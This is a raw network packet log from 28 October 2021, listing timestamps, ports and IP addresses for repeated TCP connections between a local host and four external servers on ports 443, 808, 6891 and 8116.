Oct 28, 2021 04:59:22.121154070 CEST	443	49927	192.46.210.220	192.168.2.6
Oct 28, 2021 04:59:22.121260881 CEST	49927	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:59:22.124206066 CEST	49928	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:59:22.127609968 CEST	49927	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:59:22.127635956 CEST	443	49927	192.46.210.220	192.168.2.6
Oct 28, 2021 04:59:22.131263018 CEST	49927	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:59:22.131283045 CEST	443	49927	192.46.210.220	192.168.2.6
Oct 28, 2021 04:59:22.131345987 CEST	49927	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:59:22.131354094 CEST	443	49927	192.46.210.220	192.168.2.6
Oct 28, 2021 04:59:22.291596889 CEST	808	49928	143.244.140.214	192.168.2.6
Oct 28, 2021 04:59:22.291779995 CEST	808	49928	143.244.140.214	192.168.2.6
Oct 28, 2021 04:59:22.291860104 CEST	49928	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:59:22.292529106 CEST	49928	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:59:22.295219898 CEST	49928	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:59:22.295321941 CEST	49928	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:59:22.458825111 CEST	808	49928	143.244.140.214	192.168.2.6
Oct 28, 2021 04:59:22.461469889 CEST	808	49928	143.244.140.214	192.168.2.6
Oct 28, 2021 04:59:22.461600065 CEST	808	49928	143.244.140.214	192.168.2.6
Oct 28, 2021 04:59:22.461617947 CEST	808	49928	143.244.140.214	192.168.2.6
Oct 28, 2021 04:59:22.461690903 CEST	808	49928	143.244.140.214	192.168.2.6
Oct 28, 2021 04:59:22.821918964 CEST	443	49927	192.46.210.220	192.168.2.6
Oct 28, 2021 04:59:22.821995020 CEST	443	49927	192.46.210.220	192.168.2.6
Oct 28, 2021 04:59:22.822078943 CEST	49927	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:59:22.822139025 CEST	49927	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:59:22.828155041 CEST	49927	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:59:22.828186035 CEST	443	49927	192.46.210.220	192.168.2.6
Oct 28, 2021 04:59:22.850626945 CEST	808	49928	143.244.140.214	192.168.2.6
Oct 28, 2021 04:59:22.850651979 CEST	808	49928	143.244.140.214	192.168.2.6
Oct 28, 2021 04:59:22.850723028 CEST	49928	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:59:22.850769997 CEST	49928	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:59:22.867153883 CEST	49928	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:59:23.000368118 CEST	49930	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:59:23.033672094 CEST	808	49928	143.244.140.214	192.168.2.6
Oct 28, 2021 04:59:23.166878939 CEST	6891	49930	45.77.0.96	192.168.2.6
Oct 28, 2021 04:59:23.167005062 CEST	49930	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:59:23.172908068 CEST	49931	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:59:23.174737930 CEST	49930	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:59:23.334170103 CEST	808	49931	143.244.140.214	192.168.2.6
Oct 28, 2021 04:59:23.334290028 CEST	49931	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:59:23.341412067 CEST	6891	49930	45.77.0.96	192.168.2.6
Oct 28, 2021 04:59:23.341439962 CEST	6891	49930	45.77.0.96	192.168.2.6
Oct 28, 2021 04:59:23.341553926 CEST	49930	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:59:23.382191896 CEST	49931	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:59:23.385478973 CEST	49930	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:59:23.391057968 CEST	49930	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:59:23.391268015 CEST	49930	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:59:23.543565989 CEST	808	49931	143.244.140.214	192.168.2.6
Oct 28, 2021 04:59:23.543606997 CEST	808	49931	143.244.140.214	192.168.2.6
Oct 28, 2021 04:59:23.543750048 CEST	49931	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:59:23.557830095 CEST	6891	49930	45.77.0.96	192.168.2.6
Oct 28, 2021 04:59:23.557887077 CEST	6891	49930	45.77.0.96	192.168.2.6
Oct 28, 2021 04:59:23.558044910 CEST	6891	49930	45.77.0.96	192.168.2.6
Oct 28, 2021 04:59:23.560667992 CEST	49931	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:59:23.564801931 CEST	49931	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:59:23.564913988 CEST	49931	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:59:23.721915960 CEST	808	49931	143.244.140.214	192.168.2.6
Oct 28, 2021 04:59:23.726018906 CEST	808	49931	143.244.140.214	192.168.2.6
Oct 28, 2021 04:59:23.726047993 CEST	808	49931	143.244.140.214	192.168.2.6
Oct 28, 2021 04:59:23.726066113 CEST	808	49931	143.244.140.214	192.168.2.6
Oct 28, 2021 04:59:23.726083040 CEST	808	49931	143.244.140.214	192.168.2.6
Oct 28, 2021 04:59:23.937110901 CEST	6891	49930	45.77.0.96	192.168.2.6
Oct 28, 2021 04:59:23.937134981 CEST	6891	49930	45.77.0.96	192.168.2.6
Oct 28, 2021 04:59:23.937273026 CEST	49930	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:59:23.945008993 CEST	49930	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:59:24.062901974 CEST	49933	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:59:24.111479044 CEST	6891	49930	45.77.0.96	192.168.2.6
Oct 28, 2021 04:59:24.117041111 CEST	8116	49933	185.56.219.47	192.168.2.6
Oct 28, 2021 04:59:24.117173910 CEST	49933	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:59:24.117692947 CEST	49933	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:59:24.126884937 CEST	808	49931	143.244.140.214	192.168.2.6
Oct 28, 2021 04:59:24.126904964 CEST	808	49931	143.244.140.214	192.168.2.6
Oct 28, 2021 04:59:24.126955032 CEST	49931	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:59:24.126966953 CEST	49931	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:59:24.129550934 CEST	49931	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:59:24.171268940 CEST	8116	49933	185.56.219.47	192.168.2.6
Oct 28, 2021 04:59:24.171612024 CEST	8116	49933	185.56.219.47	192.168.2.6
Oct 28, 2021 04:59:24.172489882 CEST	49933	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:59:24.173130989 CEST	49933	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:59:24.177231073 CEST	49933	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:59:24.177345991 CEST	49933	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:59:24.236943007 CEST	8116	49933	185.56.219.47	192.168.2.6
Oct 28, 2021 04:59:24.236960888 CEST	8116	49933	185.56.219.47	192.168.2.6
Oct 28, 2021 04:59:24.236969948 CEST	8116	49933	185.56.219.47	192.168.2.6
Oct 28, 2021 04:59:24.243051052 CEST	49934	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:59:24.290577888 CEST	808	49931	143.244.140.214	192.168.2.6
Oct 28, 2021 04:59:24.407216072 CEST	8116	49933	185.56.219.47	192.168.2.6
Oct 28, 2021 04:59:24.407241106 CEST	8116	49933	185.56.219.47	192.168.2.6
Oct 28, 2021 04:59:24.407309055 CEST	49933	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:59:24.407345057 CEST	49933	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:59:24.409641981 CEST	6891	49934	45.77.0.96	192.168.2.6
Oct 28, 2021 04:59:24.409780025 CEST	49934	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:59:24.410913944 CEST	49934	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:59:24.414197922 CEST	49933	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:59:24.467649937 CEST	8116	49933	185.56.219.47	192.168.2.6
Oct 28, 2021 04:59:24.530769110 CEST	49936	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:59:24.530822992 CEST	443	49936	192.46.210.220	192.168.2.6
Oct 28, 2021 04:59:24.530941963 CEST	49936	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:59:24.531519890 CEST	49936	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:59:24.531538010 CEST	443	49936	192.46.210.220	192.168.2.6
Oct 28, 2021 04:59:24.577366114 CEST	6891	49934	45.77.0.96	192.168.2.6
Oct 28, 2021 04:59:24.577456951 CEST	6891	49934	45.77.0.96	192.168.2.6
Oct 28, 2021 04:59:24.577594995 CEST	49934	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:59:24.578336954 CEST	49934	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:59:24.582549095 CEST	49934	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:59:24.582657099 CEST	49934	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:59:24.748897076 CEST	6891	49934	45.77.0.96	192.168.2.6
Oct 28, 2021 04:59:24.748920918 CEST	6891	49934	45.77.0.96	192.168.2.6
Oct 28, 2021 04:59:24.749031067 CEST	6891	49934	45.77.0.96	192.168.2.6
Oct 28, 2021 04:59:25.054557085 CEST	443	49936	192.46.210.220	192.168.2.6
Oct 28, 2021 04:59:25.054627895 CEST	49936	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:59:25.055357933 CEST	49936	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:59:25.055377960 CEST	443	49936	192.46.210.220	192.168.2.6
Oct 28, 2021 04:59:25.061315060 CEST	49936	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:59:25.061340094 CEST	443	49936	192.46.210.220	192.168.2.6
Oct 28, 2021 04:59:25.061464071 CEST	49936	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:59:25.061480045 CEST	443	49936	192.46.210.220	192.168.2.6
Oct 28, 2021 04:59:25.147164106 CEST	6891	49934	45.77.0.96	192.168.2.6
Oct 28, 2021 04:59:25.147187948 CEST	6891	49934	45.77.0.96	192.168.2.6
Oct 28, 2021 04:59:25.147243977 CEST	49934	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:59:25.147265911 CEST	49934	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:59:25.152287006 CEST	49934	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:59:25.275516987 CEST	49938	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:59:25.318651915 CEST	6891	49934	45.77.0.96	192.168.2.6
Oct 28, 2021 04:59:25.333417892 CEST	8116	49938	185.56.219.47	192.168.2.6
Oct 28, 2021 04:59:25.333630085 CEST	49938	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:59:25.334500074 CEST	49938	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:59:25.393438101 CEST	8116	49938	185.56.219.47	192.168.2.6
Oct 28, 2021 04:59:25.393704891 CEST	8116	49938	185.56.219.47	192.168.2.6
Oct 28, 2021 04:59:25.393780947 CEST	49938	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:59:25.394341946 CEST	49938	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:59:25.398690939 CEST	49938	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:59:25.398838997 CEST	49938	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:59:25.455137968 CEST	8116	49938	185.56.219.47	192.168.2.6
Oct 28, 2021 04:59:25.456381083 CEST	8116	49938	185.56.219.47	192.168.2.6
Oct 28, 2021 04:59:25.642129898 CEST	8116	49938	185.56.219.47	192.168.2.6
Oct 28, 2021 04:59:25.642155886 CEST	8116	49938	185.56.219.47	192.168.2.6
Oct 28, 2021 04:59:25.642229080 CEST	49938	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:59:25.644366026 CEST	49938	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:59:25.699057102 CEST	8116	49938	185.56.219.47	192.168.2.6
Oct 28, 2021 04:59:25.760574102 CEST	49941	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:59:25.760617018 CEST	443	49941	192.46.210.220	192.168.2.6
Oct 28, 2021 04:59:25.760709047 CEST	49941	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:59:25.761471033 CEST	49941	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:59:25.761490107 CEST	443	49941	192.46.210.220	192.168.2.6
Oct 28, 2021 04:59:25.778043032 CEST	443	49936	192.46.210.220	192.168.2.6
Oct 28, 2021 04:59:25.778115034 CEST	49936	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:59:25.778127909 CEST	443	49936	192.46.210.220	192.168.2.6
Oct 28, 2021 04:59:25.778197050 CEST	49936	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:59:25.783626080 CEST	49936	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:59:25.783673048 CEST	443	49936	192.46.210.220	192.168.2.6
Oct 28, 2021 04:59:25.915781975 CEST	49942	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:59:26.087836981 CEST	808	49942	143.244.140.214	192.168.2.6
Oct 28, 2021 04:59:26.088206053 CEST	49942	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:59:26.089303970 CEST	49942	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:59:26.260546923 CEST	808	49942	143.244.140.214	192.168.2.6
Oct 28, 2021 04:59:26.260775089 CEST	808	49942	143.244.140.214	192.168.2.6
Oct 28, 2021 04:59:26.260865927 CEST	49942	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:59:26.261624098 CEST	49942	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:59:26.265934944 CEST	49942	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:59:26.266076088 CEST	49942	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:59:26.268241882 CEST	443	49941	192.46.210.220	192.168.2.6
Oct 28, 2021 04:59:26.268357038 CEST	49941	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:59:26.269305944 CEST	49941	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:59:26.269319057 CEST	443	49941	192.46.210.220	192.168.2.6
Oct 28, 2021 04:59:26.276719093 CEST	49941	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:59:26.276737928 CEST	443	49941	192.46.210.220	192.168.2.6
Oct 28, 2021 04:59:26.276890039 CEST	49941	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:59:26.276906013 CEST	443	49941	192.46.210.220	192.168.2.6
Oct 28, 2021 04:59:26.432936907 CEST	808	49942	143.244.140.214	192.168.2.6
Oct 28, 2021 04:59:26.437299967 CEST	808	49942	143.244.140.214	192.168.2.6
Oct 28, 2021 04:59:26.437326908 CEST	808	49942	143.244.140.214	192.168.2.6
Oct 28, 2021 04:59:26.437381029 CEST	808	49942	143.244.140.214	192.168.2.6
Oct 28, 2021 04:59:26.830431938 CEST	808	49942	143.244.140.214	192.168.2.6
Oct 28, 2021 04:59:26.830460072 CEST	808	49942	143.244.140.214	192.168.2.6
Oct 28, 2021 04:59:26.830526114 CEST	49942	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:59:26.837517023 CEST	49942	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:59:26.955938101 CEST	49949	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:59:26.963949919 CEST	443	49941	192.46.210.220	192.168.2.6
Oct 28, 2021 04:59:26.964046001 CEST	443	49941	192.46.210.220	192.168.2.6
Oct 28, 2021 04:59:26.964054108 CEST	49941	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:59:26.964091063 CEST	49941	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:59:26.967504025 CEST	49941	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:59:26.967530012 CEST	443	49941	192.46.210.220	192.168.2.6
Oct 28, 2021 04:59:27.008986950 CEST	808	49942	143.244.140.214	192.168.2.6
Oct 28, 2021 04:59:27.088962078 CEST	49950	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:59:27.122453928 CEST	6891	49949	45.77.0.96	192.168.2.6
Oct 28, 2021 04:59:27.122565985 CEST	49949	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:59:27.123171091 CEST	49949	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:59:27.248697042 CEST	808	49950	143.244.140.214	192.168.2.6
Oct 28, 2021 04:59:27.248828888 CEST	49950	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:59:27.249555111 CEST	49950	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:59:27.289470911 CEST	6891	49949	45.77.0.96	192.168.2.6
Oct 28, 2021 04:59:27.289582014 CEST	6891	49949	45.77.0.96	192.168.2.6
Oct 28, 2021 04:59:27.293925047 CEST	49949	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:59:27.294493914 CEST	49949	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:59:27.298779964 CEST	49949	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:59:27.298908949 CEST	49949	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:59:27.408998966 CEST	808	49950	143.244.140.214	192.168.2.6
Oct 28, 2021 04:59:27.409030914 CEST	808	49950	143.244.140.214	192.168.2.6
Oct 28, 2021 04:59:27.409138918 CEST	49950	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:59:27.409805059 CEST	49950	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:59:27.414923906 CEST	49950	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:59:27.415087938 CEST	49950	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:59:27.465126991 CEST	6891	49949	45.77.0.96	192.168.2.6
Oct 28, 2021 04:59:27.465154886 CEST	6891	49949	45.77.0.96	192.168.2.6
Oct 28, 2021 04:59:27.502351046 CEST	6891	49949	45.77.0.96	192.168.2.6
Oct 28, 2021 04:59:27.569123030 CEST	808	49950	143.244.140.214	192.168.2.6
Oct 28, 2021 04:59:27.574320078 CEST	808	49950	143.244.140.214	192.168.2.6
Oct 28, 2021 04:59:27.574350119 CEST	808	49950	143.244.140.214	192.168.2.6
Oct 28, 2021 04:59:27.574367046 CEST	808	49950	143.244.140.214	192.168.2.6
Oct 28, 2021 04:59:27.574383020 CEST	808	49950	143.244.140.214	192.168.2.6
Oct 28, 2021 04:59:27.574399948 CEST	808	49950	143.244.140.214	192.168.2.6
Oct 28, 2021 04:59:27.849354982 CEST	6891	49949	45.77.0.96	192.168.2.6
Oct 28, 2021 04:59:27.849389076 CEST	6891	49949	45.77.0.96	192.168.2.6
Oct 28, 2021 04:59:27.849549055 CEST	49949	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:59:27.857119083 CEST	49949	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:59:27.960675001 CEST	808	49950	143.244.140.214	192.168.2.6
Oct 28, 2021 04:59:27.960705042 CEST	808	49950	143.244.140.214	192.168.2.6
Oct 28, 2021 04:59:27.960915089 CEST	49950	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:59:27.964008093 CEST	49950	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:59:27.984816074 CEST	49956	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:59:28.023761034 CEST	6891	49949	45.77.0.96	192.168.2.6
Oct 28, 2021 04:59:28.037251949 CEST	8116	49956	185.56.219.47	192.168.2.6
Oct 28, 2021 04:59:28.037398100 CEST	49956	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:59:28.038254023 CEST	49956	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:59:28.072159052 CEST	49957	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:59:28.090363979 CEST	8116	49956	185.56.219.47	192.168.2.6
Oct 28, 2021 04:59:28.090682983 CEST	8116	49956	185.56.219.47	192.168.2.6
Oct 28, 2021 04:59:28.090764046 CEST	49956	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:59:28.091455936 CEST	49956	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:59:28.095189095 CEST	49956	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:59:28.095309973 CEST	49956	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:59:28.123650074 CEST	808	49950	143.244.140.214	192.168.2.6
Oct 28, 2021 04:59:28.147521019 CEST	8116	49956	185.56.219.47	192.168.2.6
Oct 28, 2021 04:59:28.148227930 CEST	8116	49956	185.56.219.47	192.168.2.6
Oct 28, 2021 04:59:28.237624884 CEST	6891	49957	45.77.0.96	192.168.2.6
Oct 28, 2021 04:59:28.238066912 CEST	49957	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:59:28.238712072 CEST	49957	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:59:28.320281029 CEST	8116	49956	185.56.219.47	192.168.2.6
Oct 28, 2021 04:59:28.320317030 CEST	8116	49956	185.56.219.47	192.168.2.6
Oct 28, 2021 04:59:28.322058916 CEST	49956	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:59:28.338694096 CEST	49956	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:59:28.391016006 CEST	8116	49956	185.56.219.47	192.168.2.6
Oct 28, 2021 04:59:28.404139996 CEST	6891	49957	45.77.0.96	192.168.2.6
Oct 28, 2021 04:59:28.404264927 CEST	6891	49957	45.77.0.96	192.168.2.6
Oct 28, 2021 04:59:28.404989004 CEST	49957	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:59:28.406395912 CEST	49957	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:59:28.410554886 CEST	49957	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:59:28.410715103 CEST	49957	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:59:28.524668932 CEST	49961	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:59:28.524728060 CEST	443	49961	192.46.210.220	192.168.2.6
Oct 28, 2021 04:59:28.524838924 CEST	49961	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:59:28.525396109 CEST	49961	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:59:28.525424004 CEST	443	49961	192.46.210.220	192.168.2.6
Oct 28, 2021 04:59:28.575783014 CEST	6891	49957	45.77.0.96	192.168.2.6
Oct 28, 2021 04:59:28.575890064 CEST	6891	49957	45.77.0.96	192.168.2.6
Oct 28, 2021 04:59:28.575967073 CEST	6891	49957	45.77.0.96	192.168.2.6
Oct 28, 2021 04:59:28.957416058 CEST	6891	49957	45.77.0.96	192.168.2.6
Oct 28, 2021 04:59:28.957437038 CEST	6891	49957	45.77.0.96	192.168.2.6
Oct 28, 2021 04:59:28.957540989 CEST	49957	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:59:28.957588911 CEST	49957	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:59:28.960010052 CEST	49957	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 04:59:29.047888041 CEST	443	49961	192.46.210.220	192.168.2.6
Oct 28, 2021 04:59:29.048022032 CEST	49961	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:59:29.048664093 CEST	49961	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:59:29.048677921 CEST	443	49961	192.46.210.220	192.168.2.6
Oct 28, 2021 04:59:29.052294016 CEST	49961	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:59:29.052311897 CEST	443	49961	192.46.210.220	192.168.2.6
Oct 28, 2021 04:59:29.052392960 CEST	49961	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:59:29.052405119 CEST	443	49961	192.46.210.220	192.168.2.6
Oct 28, 2021 04:59:29.071680069 CEST	49964	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:59:29.122275114 CEST	8116	49964	185.56.219.47	192.168.2.6
Oct 28, 2021 04:59:29.122390985 CEST	49964	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:59:29.122905016 CEST	49964	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:59:29.125236988 CEST	6891	49957	45.77.0.96	192.168.2.6
Oct 28, 2021 04:59:29.173233986 CEST	8116	49964	185.56.219.47	192.168.2.6
Oct 28, 2021 04:59:29.173396111 CEST	8116	49964	185.56.219.47	192.168.2.6
Oct 28, 2021 04:59:29.173520088 CEST	49964	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:59:29.174712896 CEST	49964	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:59:29.181886911 CEST	49964	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:59:29.182205915 CEST	49964	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:59:29.234534025 CEST	8116	49964	185.56.219.47	192.168.2.6
Oct 28, 2021 04:59:29.234822035 CEST	8116	49964	185.56.219.47	192.168.2.6
Oct 28, 2021 04:59:29.406626940 CEST	8116	49964	185.56.219.47	192.168.2.6
Oct 28, 2021 04:59:29.406653881 CEST	8116	49964	185.56.219.47	192.168.2.6
Oct 28, 2021 04:59:29.408838987 CEST	49964	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:59:29.411468029 CEST	49964	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 04:59:29.461843967 CEST	8116	49964	185.56.219.47	192.168.2.6
Oct 28, 2021 04:59:29.526990891 CEST	49967	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:59:29.527044058 CEST	443	49967	192.46.210.220	192.168.2.6
Oct 28, 2021 04:59:29.527335882 CEST	49967	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:59:29.528209925 CEST	49967	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:59:29.528228045 CEST	443	49967	192.46.210.220	192.168.2.6
Oct 28, 2021 04:59:29.761193037 CEST	443	49961	192.46.210.220	192.168.2.6
Oct 28, 2021 04:59:29.761288881 CEST	443	49961	192.46.210.220	192.168.2.6
Oct 28, 2021 04:59:29.761411905 CEST	49961	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:59:29.937032938 CEST	49961	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:59:29.937089920 CEST	443	49961	192.46.210.220	192.168.2.6
Oct 28, 2021 04:59:30.043570995 CEST	443	49967	192.46.210.220	192.168.2.6
Oct 28, 2021 04:59:30.044203043 CEST	49967	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:59:30.045808077 CEST	49967	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:59:30.045818090 CEST	443	49967	192.46.210.220	192.168.2.6
Oct 28, 2021 04:59:30.051098108 CEST	49967	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:59:30.051117897 CEST	443	49967	192.46.210.220	192.168.2.6
Oct 28, 2021 04:59:30.051209927 CEST	49967	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:59:30.051218033 CEST	443	49967	192.46.210.220	192.168.2.6
Oct 28, 2021 04:59:30.429193020 CEST	49970	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:59:30.591181993 CEST	808	49970	143.244.140.214	192.168.2.6
Oct 28, 2021 04:59:30.591280937 CEST	49970	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:59:30.595273972 CEST	49970	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:59:30.757217884 CEST	808	49970	143.244.140.214	192.168.2.6
Oct 28, 2021 04:59:30.757460117 CEST	808	49970	143.244.140.214	192.168.2.6
Oct 28, 2021 04:59:30.757560968 CEST	49970	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:59:30.761266947 CEST	443	49967	192.46.210.220	192.168.2.6
Oct 28, 2021 04:59:30.761353016 CEST	443	49967	192.46.210.220	192.168.2.6
Oct 28, 2021 04:59:30.761440039 CEST	49967	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:59:30.763796091 CEST	49970	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:59:30.767575979 CEST	49970	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:59:30.767684937 CEST	49970	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:59:30.771729946 CEST	49967	443	192.168.2.6	192.46.210.220
Oct 28, 2021 04:59:30.771748066 CEST	443	49967	192.46.210.220	192.168.2.6
Oct 28, 2021 04:59:30.917306900 CEST	49972	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:59:30.925753117 CEST	808	49970	143.244.140.214	192.168.2.6
Oct 28, 2021 04:59:30.929373980 CEST	808	49970	143.244.140.214	192.168.2.6
Oct 28, 2021 04:59:30.929398060 CEST	808	49970	143.244.140.214	192.168.2.6
Oct 28, 2021 04:59:30.929514885 CEST	808	49970	143.244.140.214	192.168.2.6
Oct 28, 2021 04:59:31.086724043 CEST	808	49972	143.244.140.214	192.168.2.6
Oct 28, 2021 04:59:31.090303898 CEST	49972	808	192.168.2.6	143.244.140.214
Oct 28, 2021 04:59:31.321372986 CEST	808	49970	143.244.140.214	192.168.2.6
Oct 28, 2021 04:59:31.321392059 CEST	808	49970	143.244.140.214	192.168.2.6
